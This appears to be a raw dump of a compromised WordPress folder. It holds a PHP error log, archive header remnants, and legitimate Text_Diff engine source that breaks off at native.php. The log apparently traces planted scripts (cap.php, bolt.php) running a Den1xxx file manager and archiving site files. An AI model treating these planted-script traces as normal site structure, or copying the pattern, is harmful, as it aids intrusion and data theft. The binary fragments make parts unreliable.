[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                           Renderer/Engine.zip                                                                                 0000644                 00000077134 15217306007 0010260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
